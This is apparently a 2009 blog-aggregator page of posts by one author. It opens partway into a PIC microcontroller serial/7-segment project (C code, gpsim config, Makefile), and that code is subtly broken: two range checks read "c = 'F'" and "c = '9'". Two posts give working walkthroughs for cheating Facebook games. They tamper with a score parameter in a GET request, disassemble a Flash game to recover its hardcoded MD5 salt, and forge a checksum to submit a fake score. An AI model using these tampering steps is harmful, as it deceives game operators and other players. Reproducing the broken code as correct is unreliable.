usart_open(USART_TX_INT_OFF & USART_RX_INT_OFF & USART_ASYNCH_MODE & USART_BRGH_LOW & USART_EIGHT_BIT, GPSIM_20Mhz_2400baud_BRGHlow);

TRISA = 0;

for (;;)
{
c = usart_wait_and_read();

if(c >= 'A' && c = 'F') {
PORTA = data_alpha[c - 'A'];
} else {
if(c >= '0' && c = '9')
PORTA = data_num[c - '0'];
}

usart_wait_and_write(c);
usart_wait_and_write(':');
usart_wait_and_write(' ');
usart_wait_and_write('0');
usart_wait_and_write('x');
usart_wait_and_write(hex[(c & 0xf0) >> 4]);
usart_wait_and_write(hex[c & 0x0f]);
usart_wait_and_write('\n');
}
}


env.conf :

# load the gpsim modules library.
module lib /usr/lib/libgpsim_modules.so.0.0.0

# creating an usart and connecting its TX pin to the PICs RX pin, allowing keyboard input
module load usart U1
node nct
node ncr
attach nct pin(portb1) U1.TXPIN
attach ncr pin(portb2) U1.RXPIN
U1.console = true
U1.rxbaud = 2400
U1.txbaud = 2400

# creating a 7 segment led display and hooking it up to PORTA
module load led_7segments L7
node nl0 nl1 nl2 nl3 nl4 nl5 nl6
attach nl0 pin(porta0) L7.seg0
attach nl1 pin(porta1) L7.seg1
attach nl2 pin(porta2) L7.seg2
attach nl3 pin(porta3) L7.seg3
attach nl4 pin(porta4) L7.seg4
attach nl5 pin(porta5) L7.seg5
attach nl6 pin(porta6) L7.seg6

# tell the builtin scope in gpsim to monitor portb2
# (in gpsim: Windows -> Scope)
scope.ch0="portb1"


Makefile :

test.hex: test.o lib.o
gplink \
-c \
-s /usr/share/gputils/lkr/16f627a.lkr \
-o $@ \
-m \
$^ \
-I /usr/share/sdcc/lib/pic \
pic16f627a.lib libsdcc.lib

test.o: test.asm
gpasm -c $<

lib.o: lib.asm
gpasm -c $<

test.asm: test.c
sdcc -S -mpic14 -p16f627a $<

lib.asm: lib.c
sdcc -S -mpic14 -p16f627a $<

run:
gpsim -c env.conf -s test.cod

clean:
rm -f *.cod *.hex *.lst *~ *.o *.asm *.cof *.map

upload:
../K8048/k14 p test.hex
../K8048/k14 v test.hex


The code in test.c does RS232 in both directions. It takes a character and sends out the hex code for it. In addition, if the character is a hex digit (0123456789ABCDEF), it gets displayed on the 7 digit led display.

by Steven (noreply@blogger.com) at July 06, 2009 09:18 AM

June 03, 2009

Singularity - Steven Van Acker

Breaking the Click Challenge v2.0 game on facebook


Breaking this game is a lot easier than Bejeweld Blitz. The score is sent with a GET request.


http://apps.facebook.com/click_challenge_vtwo/showscore.php?t=1&c=544325099909vf32345hfgfg5435f0486367&r=fd55507070&fdgdf=33459&htu=300045&vevr=34008725320&ggrt+sf&score=445gdfg2g2452456&gfhljkm3498&dgfgd=d0bsdd-sfg5-j334-562mxf32-s&s100&s=09&s=7988&c=vf35h&b=23&9454&grfd=45&fg=tyj&3g&dgfgd=20000&3vdhj=43005&oipedv=bsddsfg&bbf=g45j32mxf32


The field that needs changing is called dgfgd and is the score you want times 40. In this case, I wanted to set 500, so the field is set to 20000. The maximum seems to be 700

by Steven (noreply@blogger.com) at June 03, 2009 01:06 AM

June 02, 2009

Singularity - Steven Van Acker

memorable quote


from Advanced Global Illumination 2nd edition page 262:

"These expressions look much more frightening than they actually are."

(in reference to the rendering equation in the presence of participating media)

That's right, FRIGHTENING! (It really isn't that bad)

by Steven (noreply@blogger.com) at June 02, 2009 10:14 AM

May 28, 2009

Singularity - Steven Van Acker

Cheating on Facebook games


I'm really not good at playing Bejeweled Blitz on Facebook.
To mess around with my family, I've been cheating pretty much since I played the game the first time.

Some of you have been wondering how that is actually possible. While it's not exactly a feat of genius, it does require some working knowledge of how Flash games work.

Flash is a client-side plugin that runs a program inside your browser. When you visit a page with a flash game on it, the program is downloaded from a website and executed on your PC. What's important is that the entire thing runs on your PC and then possibly submits a highscore to the gameserver. Nothing prevents you from faking the reply to the gameserver...

The data sent to the gameserver can be captured with a network monitor. It would be possible to change the transmitted data "in flight", but I didn't go through the trouble of doing all that and just transmitted a modified copy of the original data.

In the case of Bejeweled Blitz, the creators of the game wanted to be smart about it and tried to protect the integrity of the data being sent to the server with a field called "checksum". But it's not really difficult to get around it.

You can disassemble the flash game with a "flasm":

flasm -d bejeweledfacebook.swf


The code that generated the checksum is listed here:

push 0.0, 'md5'
new
setRegister r:5
pop
push 'checksum', 'myScore'
getVariable
push 'nonivechey902!0'
add
push r:3, 'fb_sig_user'
getMember
add
toString
push 1, r:5, 'hash'
callMethod
setVariable


In pseudocode that would read something like:

checksum = hash(getVariable("myScore") + "nonivechey902!0" + user.getMember("fb_sig_user"), "md5")


So, to set my score to 102101 (which is 1 higher than my mom's ;), I generate a new checksum
(I used userid 0123456789 in this example)


deepstar@phoenix:/tmp/bej$ echo -n '102101nonivechey902!00123456789' | md5sum
e3f37c9eb8c861818c0e4b32265be59d -


Next, I replaced the checksum in the datastream with the one above, and changed the score to 102101. Finally transmitted it to the gameserver and the score was set.

by Steven (noreply@blogger.com) at May 28, 2009 11:39 AM

May 25, 2009

Singularity - Steven Van Acker

Did god make a mistake?


I ponder about some of the more important aspects of life while I study for my exams, like this for example:


God created man in his own image. Yet Adam and Eve are shown with a belly button in every depiction. Does this imply that the painters were not painting reality ? If they did, that would mean god has a belly button! What did he use it for ? Storing his mana ?

Also, if the painters were in fact *not* painting reality, can we trust any paintings at all ?
I wonder...

by Steven (noreply@blogger.com) at May 25, 2009 01:59 PM

May 19, 2009

Singularity - Steven Van Acker

Johnny Cash - Solitary Man


Not for any personal reasons, except that it appeared in onen of the final episodes of Stargate Atlantis and I liked it:

by Steven (noreply@blogger.com) at May 19, 2009 12:36 PM